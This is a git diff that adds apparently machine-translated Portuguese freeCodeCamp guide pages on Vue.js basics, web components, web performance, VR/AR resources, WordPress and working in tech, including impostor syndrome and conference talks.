+    counter: 0 
+  } 
+ }); 
+```
+
+Se você for ao console e começar a incrementar o contador, quando ele cruzar limite de 10, a mensagem será mostrada! Então, se você diminuir o `counter` , Vue.js irá esconder a mensagem quando o `counter` ficar abaixo de 10. Por isso, nós usei a diretiva `v-if` .
+
+E você pode estar se perguntando se há `else` para isso `if` . E há o `v-else` . Observe que o `v-else` sempre será
+
+*   esperar um `v-if` antes disso
+*   refere-se ao mais próximo `v-if` na página
+
+Vamos alterar um pouco nosso primeiro exemplo para entender isso.
+
+```html
+
+<div id="app"> 
+  <p v-if="counter > 10"> 
+    This message is only rendered when the counter is greater than 10 
+  </p> 
+  <p v-else> 
+    And this is the "otherwise" option 
+  </p> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    counter: 0 
+  } 
+ }); 
+```
+
+Jogue um pouco com isso, alterando os valores dos `counter` e preste atenção ao mensagem mostrada.
+
+O Vue.js também possui a diretiva `v-else-if` .
+
+### rotações
+
+O Vue.js também ajuda na geração de várias cópias do mesmo código estrutura, com laços. O exemplo clássico é uma lista renderizada dinamicamente.
+
+```html
+
+<div id="app"> 
+  <ul> 
+    <li v-for="item in list"> 
+      {{ item }} 
+    </li> 
+  </ul> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    list: [ 
+      "shave", 
+      "do the dishes", 
+      "clean the sink", 
+      "pay the bill" 
+    ] 
+  } 
+ }); 
+```
+
+Muito mais fácil do que inserir muito `<li>` . E observe que sempre que a `list` mudanças, o resultado mudará em conformidade. Experimente: abra o console e `push` alguma string para a `list` com
+
+```javascript
+app.list.push("something else"); 
+```
+
+Como esperado, a página renderizada agora tem o nosso novo item!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vue/declarative-rendering/index.md b/client/src/guide/portuguese/vue/declarative-rendering/index.md
new file mode 100644
index 0000000000..6db9bb1845
--- /dev/null
+++ b/client/src/guide/portuguese/vue/declarative-rendering/index.md
@@ -0,0 +1,80 @@
+---
+title: Declarative Rendering
+localeTitle: Renderização Declarativa
+---
+## Instalação
+
+Antes de começarmos, há algumas maneiras de usar o Vue.js, ou seja, via CDN e via instalação. Para uma primeira experiência, é mais fácil usar o CDN.
+
+Para desenvolvimento, use isto:
+
+```html
+
+<!-- development version, includes helpful console warnings --> 
+ <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> 
+```
+
+Ao pular para a produção, esta:
+
+```html
+
+<!-- production version, optimized for size and speed --> 
+ <script src="https://cdn.jsdelivr.net/npm/vue"></script> 
+```
+
+Como mencionado anteriormente, você também pode instalar o `vue-cli` , mas isso não é recomendado para iniciantes.
+
+## Renderização Declarativa
+
+O Vue.js é uma ótima ferramenta para criar páginas dinâmicas e uma primeira maneira de entrar tocar com isso é o que é chamado de renderização declarativa.
+
+O uso do termo "declarativo" pretende endireitar esse conceito para linguagens declarativas, como SQL: você pede algo, não está implícito qualquer implementação. O Vue.js permite declarar quais dados você deseja processado, simplesmente como isso:
+
+```html
+
+<div id="app"> 
+  {{ message }} 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    message: 'Hello, world!' 
+  } 
+ }); 
+```
+
+Com esses snipets, você está dizendo ao Vue para processar dinamicamente o que está armazenado dentro da variável de `message` . E a diversão: sempre que a `message` é alterada, O Vue.js consegue recarregar essa parte específica do DOM e você vê o mudança.
+
+Se você quiser experimentar essa reatividade, abra o console e altere o valor de `app.message` para, digamos, `"Hello from console"` . Você notou a mudança na a página?
+
+O `{{ ... }}` é a sintaxe desse comportamento: gerar o valor de uma variável ou de uma expressão. Por exemplo, este também é um uso válido e resultará em `hello` :
+
+```html
+
+<div id="app"> 
+  {{ 1 < 2 ? "hello" : "goodbye" }} 
+ </div> 
+```
+
+Há casos em que o que queremos é definir um atributo usando o aplicativo do Vue. variável. Você pode pensar que a mesma sintaxe se aplica, mas o Vue tem algo específico para isso, o que chamamos de "ligação".
+
+```html
+
+<div id="app"> 
+  <a v-bind:href="dynamicLink">This link</a> 
+ </div> 
+```
+
+```javascript
+let app = new Vue({ 
+  el: '#app', 
+  data: { 
+    dynamicLink: 'medium.freecodecamp.org' 
+  } 
+ } 
+```
+
+A sintaxe `v-bind` é o que o Vue.js chama de "diretiva". É uma maneira de definir um novo atributo para a tag que será manipulada pelo Vue - há mais diretivas, todas elas começam com `v-` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/vue/index.md b/client/src/guide/portuguese/vue/index.md
new file mode 100644
index 0000000000..ac4ff93c70
--- /dev/null
+++ b/client/src/guide/portuguese/vue/index.md
@@ -0,0 +1,13 @@
+---
+title: Vue
+localeTitle: vista
+---
+## Introdução
+
+O Vue.js é uma estrutura progressiva para construir interfaces com o usuário. Seu núcleo é focado apenas na camada "view" e pode ser facilmente integrado a bibliotecas e projetos existentes. Mas por outro lado, o Vue.js também pode ser aproveitado para criar aplicativos de página única poderosos integrando-se a extensões como `vue-router` e `vuex` .
+
+Seus principais atributos são os seguintes:
+
+*   É acessível: se você conhece HTML, CSS e JavaScript básicos - então você estará escrevendo aplicativos em Vue.js em pouquíssimo tempo!
+*   É versátil: você pode usá-lo como uma biblioteca simples ou um framework completo
+*   Seu desempenho: é extremamente eficiente com pouca ou nenhuma otimização necessária.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-augmented-reality/index.md b/client/src/guide/portuguese/web-augmented-reality/index.md
new file mode 100644
index 0000000000..e988ceb0ea
--- /dev/null
+++ b/client/src/guide/portuguese/web-augmented-reality/index.md
@@ -0,0 +1,7 @@
+---
+title: Augmented Reality Development on The Web
+localeTitle: Desenvolvimento de Realidade Aumentada na Web
+---
+## Desenvolvimento de Realidade Aumentada na Web
+
+Esta seção contém artigos relacionados ao Desenvolvimento de Aplicativos de Realidade Aumentada usando estruturas como A-Frame, AR.js, Argon.js e Three.js. O A-Frame e o Three.js são capazes de realizar o desenvolvimento de Realidade Virtual e Aumentada com uma configuração apenas ligeiramente diferente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-components/how-do-i-use-web-components/index.md b/client/src/guide/portuguese/web-components/how-do-i-use-web-components/index.md
new file mode 100644
index 0000000000..4dec29d0cc
--- /dev/null
+++ b/client/src/guide/portuguese/web-components/how-do-i-use-web-components/index.md
@@ -0,0 +1,11 @@
+---
+title: How do I use Web Components?
+localeTitle: Como eu uso componentes da web?
+---
+#### Como eu uso componentes da web?
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/how-do-I-use-web-components/index.md) .
+
+Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-components/index.md b/client/src/guide/portuguese/web-components/index.md
new file mode 100644
index 0000000000..7fe0123fc1
--- /dev/null
+++ b/client/src/guide/portuguese/web-components/index.md
@@ -0,0 +1,34 @@
+---
+title: Web Components
+localeTitle: Componentes da Web
+---
+## O que são componentes da web?
+
+Os componentes da Web são compostos de uma série de especificações da Web criadas pelo [W3C](https://w3c.github.io/) . Essas especificações descrevem um conjunto de APIs de plataforma da web que podem ser usadas para criar elementos HTML reutilizáveis, encapsulados e personalizáveis. Ao expor as APIs da web de baixo nível usadas pelos fornecedores de navegadores para criar os elementos HTML com os quais você talvez já esteja familiarizado, os componentes da Web podem ser usados uma variedade de ambientes. Isso significa que você está trabalhando em um site do Wordpress, um aplicativo renderizado pelo servidor, um Aplicativo de Página Única (SPA) com a estrutura mais recente ou nenhuma estrutura, componentes da web podem ser usados. Pela primeira vez, independentemente de qual estrutura é usada, você pode entender a web como uma plataforma para criar experiências únicas que são facilmente traduzido de uma plataforma para outra.
+
+## Especificações de componentes da Web
+
+Os componentes da Web são definidos em [quatro especificações principais](https://www.webcomponents.org/introduction#specifications) .
+
+*   **Elementos personalizados**
+    
+*   A [especificação de elementos personalizados](https://w3c.github.io/webcomponents/spec/custom/) estabelece as bases para projetar e usar novos tipos de elementos DOM.
+    
+*   **DOM da Sombra**
+    
+*   A [especificação Shadow DOM](https://w3c.github.io/webcomponents/spec/shadow/) define como usar estilo encapsulado e marcação em componentes da web.
+    
+*   **Módulos ES**
+    
+*   A [especificação dos Módulos ES](https://html.spec.whatwg.org/multipage/webappapis.html#integration-with-the-javascript-module-system) define a inclusão e reutilização de documentos JS de forma modular, baseada em padrões e de alto desempenho.
+    
+*   **Template HTML**
+    
+*   A [especificação do elemento de modelo HTML](https://html.spec.whatwg.org/multipage/scripting.html#the-template-element/) define como declarar fragmentos de marcação que não são usados ​​no carregamento da página, mas podem ser instanciados mais tarde no tempo de execução.
+    
+
+### Mais Informações:
+
+*   [Introdução aos componentes da web](https://www.webcomponents.org/introduction)
+*   [Manifesto Web Extensível](https://github.com/extensibleweb/manifesto)
+*   [Especificação de componentes da Web do W3C](https://w3c.github.io/webcomponents/explainer/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-components/libraries-used-to-create-web-components/index.md b/client/src/guide/portuguese/web-components/libraries-used-to-create-web-components/index.md
new file mode 100644
index 0000000000..f50209817f
--- /dev/null
+++ b/client/src/guide/portuguese/web-components/libraries-used-to-create-web-components/index.md
@@ -0,0 +1,11 @@
+---
+title: Libraries to use to create web components
+localeTitle: Bibliotecas para usar para criar componentes da web
+---
+#### Bibliotecas para construir componentes da web
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/libraries-used-to-create-web-components/index.md) .
+
+Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-components/shadow-dom/index.md b/client/src/guide/portuguese/web-components/shadow-dom/index.md
new file mode 100644
index 0000000000..da10c438c6
--- /dev/null
+++ b/client/src/guide/portuguese/web-components/shadow-dom/index.md
@@ -0,0 +1,11 @@
+---
+title: Shadow DOM
+localeTitle: DOM da Sombra
+---
+#### DOM da Sombra
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/shadow-dom/index.md) .
+
+Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-performance/index.md b/client/src/guide/portuguese/web-performance/index.md
new file mode 100644
index 0000000000..3f48f67c47
--- /dev/null
+++ b/client/src/guide/portuguese/web-performance/index.md
@@ -0,0 +1,13 @@
+---
+title: Web & App Performance
+localeTitle: Web e desempenho do aplicativo
+---
+## Web e desempenho do aplicativo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Web e Wikipédia sobre desempenho de aplicativos](https://en.wikipedia.org/wiki/Web_performance)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-performance/website-monitoring/index.md b/client/src/guide/portuguese/web-performance/website-monitoring/index.md
new file mode 100644
index 0000000000..c3275b1305
--- /dev/null
+++ b/client/src/guide/portuguese/web-performance/website-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Website Monitoring
+localeTitle: Monitoramento de site
+---
+## Monitoramento de site
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Monitoramento de site Artigo da Wikipédia](https://en.wikipedia.org/wiki/Website_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-performance/website-monitoring/real-user-monitoring/index.md b/client/src/guide/portuguese/web-performance/website-monitoring/real-user-monitoring/index.md
new file mode 100644
index 0000000000..c02f2c89c4
--- /dev/null
+++ b/client/src/guide/portuguese/web-performance/website-monitoring/real-user-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Real User Monitoring
+localeTitle: Monitoramento Real do Usuário
+---
+## Monitoramento Real do Usuário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/real-user-monitoring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Artigo real da monitoração do usuário de Wikipedia](https://en.wikipedia.org/wiki/Real_user_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-performance/website-monitoring/synthetic-monitoring/index.md b/client/src/guide/portuguese/web-performance/website-monitoring/synthetic-monitoring/index.md
new file mode 100644
index 0000000000..844e9b423d
--- /dev/null
+++ b/client/src/guide/portuguese/web-performance/website-monitoring/synthetic-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Synthetic Monitoring
+localeTitle: Monitorização Sintética
+---
+## Monitorização Sintética
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/synthetic-monitoring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+[Artigo de Wikipedia da monitoração sintética](https://en.wikipedia.org/wiki/Synthetic_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/web-virtual-reality/index.md b/client/src/guide/portuguese/web-virtual-reality/index.md
new file mode 100644
index 0000000000..fc6c05407d
--- /dev/null
+++ b/client/src/guide/portuguese/web-virtual-reality/index.md
@@ -0,0 +1,42 @@
+---
+title: Virtual Reality Development on The Web
+localeTitle: Desenvolvimento da Realidade Virtual na Web
+---
+## Desenvolvimento da Realidade Virtual na Web
+
+Esta seção contém artigos relacionados ao Desenvolvimento de Aplicativos de Realidade Virtual usando estruturas como o A-Frame Framework, WebVR e Three.js.
+
+## Frameworks
+
+*   A-Frame - https://aframe.io/
+*   three.js - https://threejs.org/
+
+## Recursos históricos sobre realidade virtual
+
+*   Sociedade da Realidade Virtual, Reino Unido - https://www.vrs.org.uk/virtual-reality/history.html
+
+## Headsets de realidade virtual e mais
+
+*   Comparação de fones de realidade virtual na Wikipedia - https://en.wikipedia.org/wiki/Comparação _de_ fones de _realidade_ virtual
+*   Google Cardboard - https://vr.google.com/cardboard/
+*   Google Daydream - https://vr.google.com/daydream/
+*   Oculus - https://www.oculus.com/
+*   Samsung Gear VR - https://www.samsung.com/global/galaxy/gear-vr/
+*   https://samsungvr.com/
+*   HTC - https://www.vive.com/us/
+
+## Exemplos de várias criações de realidade virtual
+
+*   A experiência de VR estéreo de noite estrelada - https://youtu.be/G7Dt9ziemYA
+*   Estar dentro de uma pintura de Van Gogh - https://gfycat.com/SimpleImaginaryIberianmidwifetoad
+
+## Algumas empresas fazendo ferramentas para VR na Web
+
+*   Scapic - https://scapic.com
+*   Vizor - https://site.vizor.io/
+*   Mirra - https://mirra.co/
+
+## Compatibilidade do Navegador
+
+*   O suporte WebVR foi adicionado no Firefox versão 55. - https://support.mozilla.org/pt-BR/kb/view-virtual-reality-firefox-webvr
+*   O suporte WebVR foi adicionado ao Chrome versão 65 Canary Builds - https://webvr.info/get-chrome/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/wordpress/index.md b/client/src/guide/portuguese/wordpress/index.md
new file mode 100644
index 0000000000..64025aeeb2
--- /dev/null
+++ b/client/src/guide/portuguese/wordpress/index.md
@@ -0,0 +1,14 @@
+---
+title: WordPress
+localeTitle: WordPress
+---
+# WordPress
+
+WordPress é um sistema de gerenciamento de conteúdo livre e de código aberto baseado em PHP e MySQL. Os recursos incluem uma arquitetura de plug-in e um sistema de modelos. É mais associado a blogs, mas suporta outros tipos de conteúdo da Web, incluindo listas de discussão e fóruns mais tradicionais, galerias de mídia e lojas on-line.
+
+WordPress está alimentando quase 27% de todo o site e atualmente está dominando o CMS Market Share. Apoiado por uma enorme comunidade, esta plataforma de código aberto alimenta uma economia multimilionária com temas / plug-ins e software personalizado.
+
+### Mais Informações
+
+*   [WordPress Codex: o manual online](https://codex.wordpress.org/)
+*   [Referência de código do WordPress](https://developer.wordpress.org/reference/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/code-reviews/index.md b/client/src/guide/portuguese/working-in-tech/code-reviews/index.md
new file mode 100644
index 0000000000..c318ee96bf
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/code-reviews/index.md
@@ -0,0 +1,9 @@
+---
+title: Code Reviews
+localeTitle: Código Comentários
+---
+## Código Comentários
+
+Revisões de código são uma prática comum para muitas equipes de desenvolvimento de software. Revisões de código envolvem os membros da equipe que investigam os envios de códigos uns dos outros para verificar se há erros, lógica incorreta ou melhorias potenciais. Para aqueles que não experimentaram o processo de revisão de código antes, pode ser intimidante, no entanto, é um processo inestimável para ajudá-lo crescer como um desenvolvedor.
+
+É importante ser humilde durante todo o processo de revisão de código. Aceite seus erros e ser profissional ao apontar melhorias ou erros no código do seu companheiro membros do time.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/dunning-kruger-effect/index.md b/client/src/guide/portuguese/working-in-tech/dunning-kruger-effect/index.md
new file mode 100644
index 0000000000..65d65d6912
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/dunning-kruger-effect/index.md
@@ -0,0 +1,38 @@
+---
+title: Dunning Kruger Effect
+localeTitle: Dunning Kruger Effect
+---
## Dunning Kruger (DK) Efeito
+
+### Definição da Wikipedia
+
+No campo da psicologia, o efeito **Dunning-Kruger** é um viés cognitivo em que pessoas de baixa capacidade sofrem de superioridade ilusória, erroneamente avaliando sua capacidade cognitiva como maior do que é. O viés cognitivo da superioridade ilusória deriva da incapacidade metacognitiva das pessoas de baixa capacidade de reconhecer sua própria inépcia.
+
+### Por que isso importa no desenvolvimento de software?
+
+O efeito DK é um aprendizado importante para desenvolvedores de software. Pode ser observado entre desenvolvedores de todas as idades. Isso é mais proeminente entre desenvolvedores iniciantes e intermediários. Após a luta inicial, eles podem ficar confiantes sobre uma linguagem ou seus projetos. Isso os leva a subestimar a complexidade dos requisitos do sistema ou, pior, dificulta a criação de melhores designs de software. Para desenvolvedores mais experientes, eles parecem ter adquirido sabedoria ao longo dos anos. Eles são mais humildes e melhores em julgar a complexidade do sistema. (Isso pode não ser verdade para todos os desenvolvedores seniores).
+
+### Cuidado!
+
+Efeito DK é exatamente o oposto da [síndrome](https://en.wikipedia.org/wiki/Impostor_syndrome) de [impostor](https://en.wikipedia.org/wiki/Impostor_syndrome) . Você precisa encontrar o equilíbrio perfeito entre ambos para o seu crescimento profissional.
+
+### Como verificar se sofro de efeito DK?
+
+_Você não pode!_
+
+Desculpe, mas não há uma resposta direta a essa pergunta. Você pode fazer as seguintes perguntas para você mesmo:
+
+*   Você é capaz de fornecer estimativas precisas?
+    
+*   Você está aberto para aprender novos conceitos?
+    
+*   Você está aberto para implementar ou experimentar novos paradigmas de design?
+    
+*   Você é humilde?
+    
+*   Você é capaz de aceitar críticas e avaliar objetivamente o feedback?
+    
+*   És um bom ouvinte?
+    
+    Leituras:
+    
+*   [Wikipedia](https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/giving-a-conference-talk/index.md b/client/src/guide/portuguese/working-in-tech/giving-a-conference-talk/index.md
new file mode 100644
index 0000000000..74890edd0a
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/giving-a-conference-talk/index.md
@@ -0,0 +1,45 @@
+---
+title: Giving a Conference Talk
+localeTitle: Dando uma palestra na conferência
+---
+Falar em uma conferência de tecnologia ou encontro comunitário pode ser uma ótima maneira de acelerar sua carreira. Isso lhe dá a chance de compartilhar algo que você aprendeu e é uma ótima maneira de se desafiar tecnicamente. Falar em uma conferência também é uma oportunidade de conhecer pessoas interessantes dentro da comunidade de tecnologia.
+
+## Escolha um tópico
+
+Escolha um tema que lhe interesse! Os tópicos sobre os quais você é apaixonado ou sobre os quais você pode contar uma ótima história funcionam melhor. O brainstorming pode ajudar a restringir suas ideias àquelas que são realmente ótimas.
+
+Há um monte de conferências que gostam de ter oradores que estão no início de sua carreira. Eles trazem uma nova perspectiva e muitas vezes estão trabalhando em coisas que são empolgantes.
+
+## Comece pequeno
+
+Se você está interessado em falar em público / dando uma palestra de tecnologia, você pode começar pequeno. Muitas comunidades têm grupos de encontro para uma ampla gama de tecnologias. Você poderia dar uma versão de conversa de raio (uma palestra curta, normalmente 5 minutos) da palestra que você deseja propor em outro lugar.
+
+## Crie um esboço
+
+Organize seus pensamentos em uma lista com marcadores. Isso ajudará quando você escrever sua palestra e quando enviar um resumo para uma chamada de propostas (CFP).
+
+## Enviar proposta para conferências
+
+Você pode encontrar conferências em sites como o [**PaperCall**](https://papercall.io) , através de mídias sociais, seguindo perfis como [**Call Back Women**](https://twitter.com/callbackwomen) no Twitter, ou simplesmente usando um mecanismo de busca.
+
+Na maioria das vezes, você pode enviar uma proposta para várias conferências ou pode enviar várias propostas para a mesma conferência. Se você fizer isso, você aumenta sua chance de ser aceito. Você deve prestar atenção ao que os organizadores da conferência estão procurando em submittals e editar o seu envio para corresponder.
+
+Muitas conferências fazem uma revisão inicial às cegas, o que significa que sua identidade não é revelada aos revisores. Ao se submeter a uma conferência com essa prática, não inclua nenhuma informação identificável em sua apresentação. Às vezes, as conferências perguntam se você é ou não um orador pela primeira vez, porque querem ver novas pessoas no pódio.
+
+Não é incomum que uma conferência tenha uma taxa de aceitação em torno de 20%. Não desanime se você não for aceito na primeira vez que enviar uma proposta. Você pode editá-lo e enviá-lo para outra conferência.
+
+## Apresentação completa
+
+Quando você é aceito para falar em uma conferência, é hora de terminar de escrever sua palestra. Pegue o seu esboço e preencha as lacunas.
+
+Crie o seu deck de slides e adicione notas do orador para saber o que você vai dizer para cada slide. Esteja ciente de quaisquer diretrizes de slides que a conferência possa ter (relação de aspecto, cores aceitáveis, fonte, tamanho da fonte etc.) e siga-as.
+
+## Prática
+
+Pratique o quanto precisar para se sentir relaxado. Você deve se dedicar à apresentação de algumas ocasiões diferentes para se certificar de que está dentro do limite de tempo - você não quer ser interrompido porque sua conversa vai além do tempo. Tente o seu melhor para não depender das suas anotações / slides, para que você possa envolver o público fazendo contato visual o máximo possível.
+
+## Aproveite a conferência
+
+Você pode estar nervoso (tudo bem!), Mas tente aproveitar as outras palestras e eventos que a conferência tem a oferecer.
+
+Dê a si mesmo bastante tempo para estar em seu local de palestras antecipadamente e traga um amigo para ver sua palestra, se possível. Esteja ciente de que muitas conferências agora gravam palestras e se preparam para isso antes do tempo. Respire fundo várias vezes antes de continuar e tente passar um bom tempo. Se as pessoas puderem ver que você está feliz por estar lá, elas provavelmente ficarão felizes em ouvir o que você tem a dizer.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/imposter-syndrome/index.md b/client/src/guide/portuguese/working-in-tech/imposter-syndrome/index.md
new file mode 100644
index 0000000000..2dbecfd494
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/imposter-syndrome/index.md
@@ -0,0 +1,44 @@
+---
+title: Imposter Syndrome
+localeTitle: Síndrome do Impostor
+---
+## Síndrome do Impostor
+
+Síndrome do Impostor é uma sensação de _ser uma fraude_ ou _não ser bom o suficiente_ para fazer o trabalho. Comum entre engenheiros de software, desenvolvedores e designers que trabalham em empresas de tecnologia, especialmente aqueles que não são provenientes de um histórico tradicional de tecnologia. As pessoas que sofrem de síndrome do impostor têm uma sensação de inadequação e insegurança em relação à sua capacidade de contribuir no local de trabalho. Na realidade, eles podem ser perfeitamente capazes de contribuir com sucesso para suas tarefas.
+
+A Síndrome do Impostor é muito comum entre engenheiros de software ou desenvolvedores que são novos no cargo e não têm a experiência de alguns de seus colegas de trabalho. Em vários setores, a síndrome do impostor é muito comum em pessoas altamente bem-sucedidas. Estudos descobriram que as duas em cada cinco pessoas "bem-sucedidas" se consideram fraudulentas / impostoras, enquanto outros estudos mostraram que até 70% das pessoas experimentam a síndrome do impostor como um ponto no tempo ou outro.
+
+Se você sofre de síndrome do impostor, pode ter uma sensação de inadequação ou insegurança quanto à sua capacidade de contribuir. Na realidade, você pode ser perfeitamente capaz e contribuir com suas tarefas.
+
+Esses pensamentos são bastante comuns se você luta com a síndrome do impostor:
+
+*   "O que estou fazendo aqui?"
+*   "Eu não sou um desenvolvedor. Estou me enganando e a outras pessoas." (parece falso)
+*   "Meus colegas são muito mais espertos do que eu; nunca consegui me igualar a eles". (mina as próprias conquistas)
+*   "Meus colegas me disseram que consegui muito, mas sinto que nunca é o suficiente." (elogios de descontos)
+*   "Não tenho ideia de como consegui o processo de entrevista." (sente apenas sorte dita resultados)
+*   "Eu serei ridicularizado e demitido quando as pessoas perceberem que eu não sou tão inteligente quanto me retratei como sendo." (falha de medo)
+*   "Meu QI não é alto o suficiente para funcionar aqui." (duvida capacidade inerente)
+*   "Eu preciso de mais treinamento para sentir que mereço estar aqui."
+
+Síndrome do Impostor pode impedir que você alcance quando precisar de ajuda, retardando assim a sua progressão. Por favor, entre em contato no fórum ou na sala de chat!
+
+#### Superando a Síndrome do Impostor
+
+O primeiro passo para superar a síndrome do impostor é aprender a diferença entre uma mentalidade de crescimento e uma mentalidade fixa. Pessoas com uma mentalidade de crescimento acreditam que suas habilidades e talentos podem ser desenvolvidos através de trabalho duro, prática, conversas com outras pessoas, etc. Alternadamente, aqueles com uma mentalidade fixa tendem a acreditar que seus talentos são habilidades que nasceram com eles.
+
+Quando você muda sua visão para uma mentalidade de crescimento, você se permite enfrentar desafios que podem parecer fora de alcance. Se você acredita que suas habilidades podem ser desenvolvidas com o tempo, será menos importante se você não souber como fazer algo (contanto que esteja disposto a trabalhar).
+
+[Muitas pessoas talentosas e bem-sucedidas lidam com a Síndrome do Impostor](https://www.thecut.com/2017/01/25-famous-women-on-impostor-syndrome-and-self-doubt.html) . Eles até dizem que - contra-intuitivamente - não só o sucesso não elimina a Síndrome do Impostor; muitas vezes, o sucesso piora. Então, não é algo que conquistamos uma vez. Nós conquistamos todos os dias, toda vez que assumimos um projeto, tarefa, etc.
+
+Mais recursos excelentes para ajudar você a saber mais sobre a Síndrome do Impostor e algumas dicas para lidar com isso:
+
+*   [Associação Americana de Psicologia - Feel Like a Fraud?](http://www.apa.org/gradpsych/2013/11/fraud.aspx)
+*   [TED Talks - Síndrome do Impostor de Combate](https://www.ted.com/playlists/503/fighting_impostor_syndrome)
+*   [Quartz - A síndrome do impostor é um sinal de grandeza?](https://qz.com/606727/is-imposter-syndrome-a-sign-of-greatness/)
+*   [HTTP203 - Síndrome do Impostor](https://www.youtube.com/watch?v=VNr1Kb07aME)
+*   [Iniciativa Ada - A Síndrome do Impostor mantém as mulheres fora da tecnologia e da cultura abertas?](https://adainitiative.org/2013/08/28/is-impostor-syndrome-keeping-women-out-of-open-technology-and-culture/)
+*   [DEV - Superando a Síndrome do Impostor](https://dev.to/kathryngrayson/overcoming-impostor-syndrome-apg)
+*   [FastCompany - Tipos de síndrome do impostor e como vencê-los](https://www.fastcompany.com/40421352/the-five-types-of-impostor-syndrome-and-how-to-beat-them)
+*   [Startup Bros - 21 maneiras comprovadas de superar a síndrome do impostor](https://startupbros.com/21-ways-overcome-impostor-syndrome/)
+*   [NY Times - Aprendendo a lidar com a síndrome do impostor](https://www.nytimes.com/2015/10/26/your-money/learning-to-deal-with-the-impostor-syndrome.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/working-in-tech/index.md b/client/src/guide/portuguese/working-in-tech/index.md
new file mode 100644
index 0000000000..26066d88db
--- /dev/null
+++ b/client/src/guide/portuguese/working-in-tech/index.md
@@ -0,0 +1,52 @@
+---
+title: Working in Tech
+localeTitle: Trabalhando em Tecnologia
+---
+## Trabalhando em Tecnologia
+
+Uma ampla variedade de campos relacionados à tecnologia, como desenvolvimento da Web, design, ciência de dados e gerenciamento de produtos, é geralmente incluída no termo "técnico".
+
+Esta seção irá se concentrar em vários aspectos do trabalho em tecnologia. Discutiremos os desafios adicionais de carreira que as minorias sub-representadas e as pessoas de origens de educação não tradicionais enfrentam. Isso inclui questões como o sexismo e o preconceito que foram particularmente prevalentes em certos setores e organizações.
+
+### Segurança informática
+
+O campo da segurança de computadores está crescendo a um ritmo acelerado a cada ano. Em um relatório feito recentemente, estima-se que até 2021 seus 3,5 milhões de empregos não serão preenchidos. A demanda deve-se ao aumento dos ataques cibernéticos e à quantidade de dados que estão sendo criados todos os dias, os dados são tão valiosos hoje em dia e precisam ser mantidos seguros e protegidos.
+
+### Exemplos de trabalhos relacionados à tecnologia
+
+*   Desenvolvedor de software
+*   Analista de Sistemas de Computação
+*   Desenvolvedor Web
+*   Gerente de TI
+*   Administrador de Sistemas de Computadores
+
+### Livros
+
+[Sobre o rosto: os fundamentos do design de interação](https://amzn.to/2uwtugk)
+
+[Pensando em Sistemas: Um Primer](https://amzn.to/2u6FbJF)
+
+[Pensando, rápido e lento](https://amzn.to/2tnnlTN)
+
+[Aprenda um Haskell para o bem!](https://amzn.to/2veOjdv)
+
+[Pense como um programador](https://www.nostarch.com/thinklikeaprogrammer)
+
+Hooked: Como construir produtos formadores de hábito: amzn.to/2bVG5AQ
+
+"Lean In: mulheres, trabalho e a vontade de liderar" por Sheryl Sandberg http://amzn.to/2igRgoq
